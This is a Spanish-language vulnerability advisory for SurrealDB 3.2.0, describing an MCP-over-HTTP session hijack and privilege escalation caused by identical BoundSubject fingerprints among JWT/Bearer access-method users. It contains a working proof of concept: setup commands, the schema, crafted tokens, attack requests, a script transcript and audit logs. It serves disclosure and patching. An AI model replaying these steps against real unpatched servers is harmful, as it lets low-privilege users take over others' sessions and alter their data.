GHSA-PGH9-49Q4-HQCX
Secuestro de sesión MCP / escalamiento de privilegios mediante colisión de huella BoundSubject para métodos de acceso JWT/Bearer
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.3.0 | surrealdb · -25 d desde divulgación | |
| Divulgación | Publicada | GHSA-PGH9-49Q4-HQCX divulgada · CVSS 8.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
> afectado: SurrealDB `>= 3.2.0` — transporte HTTP de MCP (`POST /mcp`)
> reproducido dinámicamente: binario oficial publicado `v3.2.0` y `master` `9d9a5b069` (v3.3.0-nightly), motor en memoria; 7/7 comprobaciones superadas en ambos
---
_Las referencias al código fuente (`file.rs:line`) apuntan al commit `9d9a5b069` (v3.3.0-nightly)._
Resumen
La nueva comprobación de sujeto por solicitud del transporte HTTP de MCP es ineficaz para los métodos `DEFINE ACCESS` de tipo JWT/Bearer: la huella `BoundSubject` es `(level, session.au.id())` y, en la autenticación por método de acceso, el id del actor se establece con el nombre del método de acceso (`verify.rs:403-407`), idéntico para todos los usuarios de ese método. En consecuencia, cualquier usuario autenticado de un método de acceso (incluso con el rol más bajo) que posea el `mcp-session-id` de una víctima supera la comprobación con su propio token válido y ejecuta herramientas MCP en la sesión vinculada de la víctima, con los roles y permisos de esta. Se trata de una toma de control de sesión entre usuarios y de un escalamiento de privilegios. Reproducido de extremo a extremo en un servidor activo: bob, con rol de visor, secuestró la sesión MCP de alice, con rol de editor, y escribió `pwned: true` en un registro que sus propios permisos prohíben.
Detalles
El módulo MCP de SurrealDB documenta su propio modelo de amenazas (auth.rs:11-14): *"la posesión de un `mcp-session-id` por sí sola no debe permitir que un atacante presente una credencial distinta y suplante al usuario original."* La defensa funciona de la siguiente manera (todo verificado en el código fuente):
- En `initialize`, `BoundSubject::from_session` registra una huella de la sesión autenticada (auth.rs:50-55):
- En cada solicitud posterior, `check_subject` rechaza un sujeto que falta, es anónimo o es distinto del vinculado (auth.rs:114-139); lo más importante:
- Para `DEFINE ACCESS ... TYPE JWT`/`BEARER`, `verify::token` construye el actor usando el nombre del método de acceso como id (verify.rs:403-407; a nivel de NS :639-642; a nivel de root :790):
- Por lo tanto, dos usuarios distintos del mismo método de acceso, aunque tengan `roles` diferentes, producen huellas byte a byte idénticas; la rama `new != *bound` nunca se activa y la solicitud se permite.
- Las herramientas MCP se ejecutan en la sesión vinculada durante el handshake (`handler(self.session())`, service.rs:485-489); las credenciales de la solicitud solo se usan para la comparación de la huella.
- La ruta es alcanzable a través del transporte HTTP real: `POST /mcp` está montado detrás de `SurrealAuthLayer` (ntw/mod.rs:185,501), que vuelve a autenticar cada solicitud desde su propia cabecera `Authorization` e inyecta la sesión nueva en las extensiones de la solicitud (ntw/auth.rs:85-95). La fábrica HTTP fuerza la etiqueta de transporte estricta `"http"` (service.rs:976-978), por lo que la comprobación de sujeto en red está activa (el transporte stdio está exento, lo cual es correcto).
El registro de auditoría hace visible la colisión: cada invocación de herramienta con ese método se registra con `subject="/ns:test/db:test/::api"`; la ranura de identidad es el nombre del método de acceso `api` para todos los usuarios.
PoC
> Los tokens involucrados son JWT legítimos firmados con el secreto HS512 exacto declarado en `DEFINE ACCESS`, verificados por la propia SurrealDB. El atacante aporta únicamente su propio token válido más el `mcp-session-id` de la víctima, justamente la condición que la defensa dice neutralizar.
Nota de alcance: reproducido en el binario oficial publicado `v3.2.0` y en una compilación desde el código fuente de `master` `9d9a5b069` (v3.3.0-nightly); las 7/7 comprobaciones superan en ambos. No se evaluó v2.x (MCP HTTP es una funcionalidad de v3.x).
Entorno / configuración:
cargo build --release --locked --no-default-features --features storage-mem,http,mcp --bin surreal
./target/release/surreal start --user root --pass root memory --bind 127.0.0.1:8000Esquema (método de acceso JWT a nivel de base de datos que sirve a varios usuarios):
DEFINE NAMESPACE test;
DEFINE DATABASE test;
USE NS test DB test;
DEFINE ACCESS api ON DATABASE TYPE JWT ALGORITHM HS512 KEY '<secreto de 64+ bytes>' DURATION FOR SESSION 1h;
DEFINE TABLE person PERMISSIONS FOR select FULL, FOR update WHERE $token.roles CONTAINS 'editor';
CREATE person:alice SET secret = 'admin-secret-value';
CREATE person:bob SET secret = 'viewer-record';Emitir dos tokens con el mismo secreto: misma forma, solo difieren los `roles`: `{"NS":"test","DB":"test","AC":"api","roles":["editor"]}` (alice) y `{"NS":"test","DB":"test","AC":"api","roles":["viewer"]}` (bob).
Pasos y resultados esperados:
# 0. Línea base de permisos (/sql directo, sin MCP): demuestra que los dos usuarios son realmente distintos:
# alice UPDATE person:alice SET pwned=true RETURN AFTER -> devuelve el registro con pwned:true
# bob misma consulta -> devuelve [] (filtrado por permisos)
# 1. alice inicializa una sesión MCP:
POST /mcp Authorization: Bearer <alice>
{"jsonrpc":"2.0","id":1,"method":"initialize",...}
-> 200, cabecera mcp-session-id: <SID>
# 2. ATAQUE: bob usa su PROPIO token válido con el id de sesión de alice:
POST /mcp Authorization: Bearer <bob> MCP-Session-Id: <SID>
tools/call query "UPDATE person:alice SET pwned = true RETURN AFTER"
-> ÉXITO: [{"id":"person:alice","pwned":true,...}] # el exploit funciona
# 3. Control 6a: bob en su PROPIA sesión recién inicializada, misma consulta:
-> [] # sigue denegado -> bob no tiene ese derecho
# 4. Control 6b: sin credenciales + id de sesión de alice:
-> {"error":{"code":-32602,"message":"Credentials required for this MCP session"}}
# las otras ramas de check_subject funcionanTranscripción en vivo (2026-08-15, `poc_mcp_session_hijack.sh`, 7/7 comprobaciones superadas):
===== 3. Permission baseline =====
[PASS] alice(editor) can UPDATE (pwned=true)
[PASS] bob(viewer) denied by table permission (empty result)
===== 4. alice initializes an MCP session =====
[PASS] alice got mcp-session-id=3ab632c3-b8c3-48b9-ba20-2f5fc934c3ac
===== 5. ATTACK: bob (own valid token) + alice's session id =====
[PASS] bob ESCALATED: UPDATE executed on alice's session (pwned=true)
===== 6. Control 6a: bob on his OWN session, same query =====
[PASS] bob on his own session denied by table permission
===== 7. Control 6b: no credentials + alice's session id =====
[PASS] no-credential request rejected by check_subject (-32602)
===== 8. Persistence check (root view) =====
[PASS] person:alice.pwned == true persistedRegistro de auditoría del servidor durante el ataque:
INFO surrealdb::mcp::audit: mcp tool invocation tool="query" subject="/ns:test/db:test/::api" ... outcome="ok"
INFO surrealdb::mcp::audit: mcp tool invocation tool="query" subject="/ns:test/db:test/::api" ... outcome="protocol_error" kind="INVALID_PARAMS"La ranura de identidad `::api` es idéntica para alice y bob: la colisión de huellas que anula la comprobación.
Nota: el permiso de tabla está escrito con `$token.roles` en lugar de `$auth.roles` porque, con autenticación por método de acceso, `$auth` (= `session.rd`) siempre es NONE; `$token` contiene los claims del JWT. (El `KEY` HS512 debe ser idéntico byte a byte entre `DEFINE ACCESS` y el script de firma.)
Impacto
- Tipo: omisión del límite de autenticación/autorización → toma de control de sesión MCP entre usuarios y escalamiento de privilegios (CWE-287, autenticación inadecuada; CWE-269, escalamiento de privilegios).
- Quién se ve afectado: cualquier despliegue que exponga MCP por HTTP (`POST /mcp`) y use un método de acceso `TYPE JWT`/`BEARER` a nivel de base de datos, de namespace o de root que sirva a más de un usuario. Los usuarios autenticados mediante la ruta de usuario/contraseña no se ven afectados (su id de actor es un nombre por usuario).
- Requisitos del atacante (todos dentro del modelo de amenazas documentado): (1) un token válido para el mismo método de acceso, incluso con el rol más bajo; (2) el `mcp-session-id` de la víctima (la misma filtración que esta defensa pretende neutralizar, por ejemplo mediante registros HTTP, proxies o observabilidad compartida).
- Efecto: el atacante ejecuta herramientas MCP en la sesión vinculada de la víctima con los roles y permisos de esta, leyendo o modificando datos a los que la víctima puede acceder; y la actividad se atribuye en las auditorías a la identidad de sesión de la víctima.
Solución sugerida: en la ruta JWT/Bearer de `verify::token`, construir el id del actor a partir de la identidad por usuario del token (claim `id`/`sub`), para que coincida con th
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 3.3.0 | -25 d | 4.0.1 no afectada |
3.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pgh9-49q4-hqcxLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
